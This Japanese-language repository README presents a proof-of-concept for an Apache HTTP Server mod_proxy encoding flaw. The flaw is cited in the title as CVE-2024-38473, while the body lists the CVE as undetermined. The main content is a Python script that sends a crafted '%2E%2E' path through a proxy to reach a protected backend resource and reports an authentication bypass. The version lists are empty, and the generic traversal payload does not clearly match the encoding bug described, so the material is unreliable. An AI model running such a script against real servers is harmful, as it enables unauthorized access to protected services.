
Apache HTTP Server mod\_proxy のエンコーディング脆弱性(CVE-2024-38473)を実証する概念実証スクリプトであり、細工されたリクエストURLを介してバックエンドサービスへの認証バイパスを可能にします。
このリポジトリには、Apache HTTP Server バージョン 2.4.59 以前の mod_proxy モジュールにおけるエンコーディング問題を実証するための概念実証 (PoC) スクリプトが含まれています。この脆弱性により、不正なエンコーディングを含むリクエスト URL がバックエンドサービスに送信され、巧妙に細工されたリクエストによって認証がバイパスされる可能性があります。
CVE-ID: (未定)
概要:
Apache HTTP Server バージョン 2.4.59 以前の mod_proxy モジュールにおけるエンコーディング問題により、不正なエンコーディングを含むリクエスト URL がバックエンドサービスに送信される可能性があります。これにより、巧妙に細工されたリクエストを介して認証メカニズムがバイパスされる可能性があります。ユーザーは、この問題を修正したバージョン 2.4.60 にアップグレードすることを推奨します。
影響を受けるバージョン:
修正されたバージョン:
requests ライブラリ (pip install requests)バックエンドサービスの特定:
http://backend-service.example.com にあると仮定します。悪意のあるリクエストの作成:
PoC スクリプトの実行:
mod_proxy_poc.py として保存し、実行します。以下は、脆弱性を実証する Python スクリプトです。
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
設定:
proxy_url: プロキシサーバーのURL。backend_service_path: バックエンドサービス上の保護されたリソースへのパス。malicious_path: 認証をバイパスするための不正にエンコードされたパス。send_malicious_request:
この脆弱性を緩和するには、mod_proxy モジュールのエンコーディング問題を修正した Apache HTTP Server バージョン 2.4.60 にアップグレードしてください。
ソフトウェアを最新の状態に保ち、セキュリティのベストプラクティスに従うことで、mod_proxy モジュールにおけるこのエンコーディング問題のような脆弱性を防ぐことができます。